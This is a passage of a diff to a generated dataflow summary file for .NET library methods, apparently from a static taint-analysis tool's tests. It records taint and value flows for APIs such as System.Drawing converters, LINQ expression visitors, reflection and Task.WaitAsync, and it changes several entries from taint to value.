System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;PointConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;PointConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;Rectangle;Inflate;(System.Drawing.Rectangle,System.Int32,System.Int32);Argument[0];ReturnValue;value;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;RectangleConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;RectangleConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;RectangleConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;RectangleF;Inflate;(System.Drawing.RectangleF,System.Single,System.Single);Argument[0];ReturnValue;value;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;SizeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;SizeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;SizeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Drawing;SizeFConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Drawing;SizeFConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Drawing;SizeFConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.Drawing;SolidBrush;Clone;();Argument[this];ReturnValue;value;dfc-generated | | System.Drawing;StringFormat;Clone;();Argument[this];ReturnValue;value;dfc-generated | @@ -11659,7 +11878,7 @@ summary | System.Globalization;CultureInfo;GetCultureInfo;(System.String,System.String);Argument[1];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;GetCultureInfoByIetfLanguageTag;(System.String);Argument[0];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;GetFormat;(System.Type);Argument[this];ReturnValue;value;dfc-generated | -| System.Globalization;CultureInfo;ReadOnly;(System.Globalization.CultureInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Globalization;CultureInfo;ReadOnly;(System.Globalization.CultureInfo);Argument[0];ReturnValue;value;df-generated | | System.Globalization;CultureInfo;ToString;();Argument[this];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;get_Calendar;();Argument[this];ReturnValue;taint;df-generated | | System.Globalization;CultureInfo;get_DisplayName;();Argument[this];ReturnValue;taint;df-generated | @@ -12920,12 +13139,12 @@ summary | System.Linq.Expressions;Expression;Unbox;(System.Linq.Expressions.Expression,System.Type);Argument[0];ReturnValue.Property[System.Linq.Expressions.UnaryExpression.Operand];value;dfc-generated | | System.Linq.Expressions;Expression;Variable;(System.Type,System.String);Argument[1];ReturnValue.Property[System.Linq.Expressions.ParameterExpression.Name];value;dfc-generated | | System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];Argument[0];taint;df-generated | -| System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];ReturnValue;taint;df-generated | +| System.Linq.Expressions;Expression;VisitChildren;(System.Linq.Expressions.ExpressionVisitor);Argument[this];ReturnValue;value;df-generated | | System.Linq.Expressions;Expression;Accept;(System.Linq.Expressions.ExpressionVisitor);Argument[this];ReturnValue;value;dfc-generated | | System.Linq.Expressions;Expression;Update;(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable);Argument[1].Element;ReturnValue;taint;df-generated | | System.Linq.Expressions;Expression;Update;(System.Linq.Expressions.Expression,System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0].Element;Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;hq-generated | @@ -12934,15 +13153,15 @@ summary | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;Visit;(System.Collections.ObjectModel.ReadOnlyCollection,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0].Element;Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(System.Collections.ObjectModel.ReadOnlyCollection,System.String);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitAndConvert;(T,System.String);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitBinary;(System.Linq.Expressions.BinaryExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitBlock;(System.Linq.Expressions.BlockExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitCatchBlock;(System.Linq.Expressions.CatchBlock);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitConditional;(System.Linq.Expressions.ConditionalExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitConstant;(System.Linq.Expressions.ConstantExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitDebugInfo;(System.Linq.Expressions.DebugInfoExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitDefault;(System.Linq.Expressions.DefaultExpression);Argument[0];ReturnValue;value;dfc-generated | @@ -12950,22 +13169,22 @@ summary | System.Linq.Expressions;ExpressionVisitor;VisitElementInit;(System.Linq.Expressions.ElementInit);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitExtension;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitGoto;(System.Linq.Expressions.GotoExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitIndex;(System.Linq.Expressions.IndexExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitInvocation;(System.Linq.Expressions.InvocationExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLabel;(System.Linq.Expressions.LabelExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLabelTarget;(System.Linq.Expressions.LabelTarget);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLambda;(System.Linq.Expressions.Expression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitListInit;(System.Linq.Expressions.ListInitExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitLoop;(System.Linq.Expressions.LoopExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMember;(System.Linq.Expressions.MemberExpression);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMemberAssignment;(System.Linq.Expressions.MemberAssignment);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];Argument[this];taint;df-generated | -| System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];ReturnValue;taint;df-generated | +| System.Linq.Expressions;ExpressionVisitor;VisitMemberBinding;(System.Linq.Expressions.MemberBinding);Argument[0];ReturnValue;value;df-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberInit;(System.Linq.Expressions.MemberInitExpression);Argument[0];ReturnValue;value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberListBinding;(System.Linq.Expressions.MemberListBinding);Argument[0].Property[System.Linq.Expressions.MemberListBinding.Initializers];ReturnValue.Property[System.Linq.Expressions.MemberListBinding.Initializers];value;dfc-generated | | System.Linq.Expressions;ExpressionVisitor;VisitMemberListBinding;(System.Linq.Expressions.MemberListBinding);Argument[0];ReturnValue;value;dfc-generated | @@ -13447,7 +13666,7 @@ summary | System.Linq;Enumerable;SingleOrDefault;(System.Collections.Generic.IEnumerable,TSource);Argument[0].Element;ReturnValue;value;dfc-generated | | System.Linq;Enumerable;SingleOrDefault;(System.Collections.Generic.IEnumerable,TSource);Argument[1];ReturnValue;value;dfc-generated | | System.Linq;Enumerable;Skip;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0].Element;ReturnValue.Element;value;manual | -| System.Linq;Enumerable;SkipLast;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Linq;Enumerable;SkipLast;(System.Collections.Generic.IEnumerable,System.Int32);Argument[0];ReturnValue;value;df-generated | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;manual | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[0].Element;ReturnValue.Element;value;manual | | System.Linq;Enumerable;SkipWhile;(System.Collections.Generic.IEnumerable,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;manual | @@ -15283,6 +15502,7 @@ summary | System.Net;HttpListenerRequest;get_ProtocolVersion;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_RawUrl;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_Url;();Argument[this];ReturnValue;taint;df-generated | +| System.Net;HttpListenerRequest;get_UrlReferrer;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_UserAgent;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerRequest;get_UserHostName;();Argument[this];ReturnValue;taint;df-generated | | System.Net;HttpListenerResponse;AppendCookie;(System.Net.Cookie);Argument[0];Argument[this].Property[System.Net.HttpListenerResponse.Cookies].Element;value;dfc-generated | @@ -16480,7 +16700,7 @@ summary | System.Reflection;MethodInfo;get_ReturnParameter;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInfo;get_ReturnType;();Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInfo;get_ReturnTypeCustomAttributes;();Argument[this];ReturnValue;taint;df-generated | -| System.Reflection;MethodInfoExtensions;GetBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Reflection;MethodInfoExtensions;GetBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;value;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object);Argument[this];ReturnValue;taint;df-generated | | System.Reflection;MethodInvoker;Invoke;(System.Object,System.Object);Argument[0];Argument[this];taint;df-generated | @@ -16571,7 +16791,7 @@ summary | System.Reflection;ReflectionTypeLoadException;get_Message;();Argument[this].Property[System.Exception.Message];ReturnValue;value;dfc-generated | | System.Reflection;ReflectionTypeLoadException;get_Message;();Argument[this].SyntheticField[System.Exception._message];ReturnValue;value;dfc-generated | | System.Reflection;RuntimeReflectionExtensions;GetMethodInfo;(System.Delegate);Argument[0].Property[System.Delegate.Method];ReturnValue;value;dfc-generated | -| System.Reflection;RuntimeReflectionExtensions;GetRuntimeBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;taint;df-generated | +| System.Reflection;RuntimeReflectionExtensions;GetRuntimeBaseDefinition;(System.Reflection.MethodInfo);Argument[0];ReturnValue;value;df-generated | | System.Reflection;RuntimeReflectionExtensions;GetRuntimeInterfaceMap;(System.Reflection.TypeInfo,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Reflection;StrongNameKeyPair;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System.Reflection;TypeDelegator;GetConstructorImpl;(System.Reflection.BindingFlags,System.Reflection.Binder,System.Reflection.CallingConventions,System.Type[],System.Reflection.ParameterModifier[]);Argument[this];ReturnValue;taint;df-generated | @@ -17123,8 +17343,12 @@ summary | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;ToString;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customServiceNames].Element;ReturnValue;taint;dfc-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;get_CustomChannelBinding;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customChannelBinding];ReturnValue;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicy;get_CustomServiceNames;();Argument[this].SyntheticField[System.Security.Authentication.ExtendedProtection.ExtendedProtectionPolicy._customServiceNames];ReturnValue;value;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Security.Authentication.ExtendedProtection;ExtendedProtectionPolicyTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.Collections.IEnumerable);Argument[0].Element;ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.Collections.IEnumerable);Argument[0].Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | | System.Security.Authentication.ExtendedProtection;ServiceNameCollection;Merge;(System.String);Argument[0];ReturnValue.Property[System.Collections.ReadOnlyCollectionBase.InnerList].Element;value;dfc-generated | @@ -18109,7 +18333,7 @@ summary | System.Text.RegularExpressions;GroupCollection;get_Values;();Argument[this];ReturnValue;taint;df-generated | | System.Text.RegularExpressions;GroupCollection;set_Item;(System.Int32,System.Object);Argument[1];Argument[this].Element;value;manual | | System.Text.RegularExpressions;GroupCollection;set_Item;(System.Int32,System.Text.RegularExpressions.Group);Argument[1];Argument[this].Element;value;manual | -| System.Text.RegularExpressions;Match;NextMatch;();Argument[this];ReturnValue;taint;df-generated | +| System.Text.RegularExpressions;Match;NextMatch;();Argument[this];ReturnValue;value;df-generated | | System.Text.RegularExpressions;Match;Synchronized;(System.Text.RegularExpressions.Match);Argument[0];ReturnValue;value;dfc-generated | | System.Text.RegularExpressions;MatchCollection;Add;(System.Object);Argument[0];Argument[this].Element;value;manual | | System.Text.RegularExpressions;MatchCollection;Add;(System.Text.RegularExpressions.Match);Argument[0];Argument[this].Element;value;manual | @@ -18833,13 +19057,13 @@ summary | System.Threading.Tasks;Task;Task;(System.Action,System.Object,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | | System.Threading.Tasks;Task;Task;(System.Action,System.Object,System.Threading.Tasks.TaskCreationOptions);Argument[1];Argument[0].Parameter[0];value;manual | | System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[0];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[1];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[2];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan,System.TimeProvider,System.Threading.CancellationToken);Argument[this];ReturnValue;value;df-generated | | System.Threading.Tasks;Task;WhenAll;(System.Collections.Generic.IEnumerable>);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | | System.Threading.Tasks;Task;WhenAll;(System.ReadOnlySpan>);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | | System.Threading.Tasks;Task;WhenAll;(System.Threading.Tasks.Task[]);Argument[0].Element.Property[System.Threading.Tasks.Task`1.Result];ReturnValue.Property[System.Threading.Tasks.Task`1.Result].Element;value;manual | @@ -18943,11 +19167,11 @@ summary | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.CancellationToken,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.Tasks.TaskCreationOptions);Argument[0].ReturnValue;Argument[this].Property[System.Threading.Tasks.Task`1.Result];value;manual | | System.Threading.Tasks;Task;Task;(System.Func,System.Threading.Tasks.TaskCreationOptions);Argument[0];Argument[0].Parameter[delegate-self];value;manual | -| System.Threading.Tasks;Task;WaitAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks;Task;WaitAsync;(System.TimeSpan);Argument[this];ReturnValue;taint;df-generated | 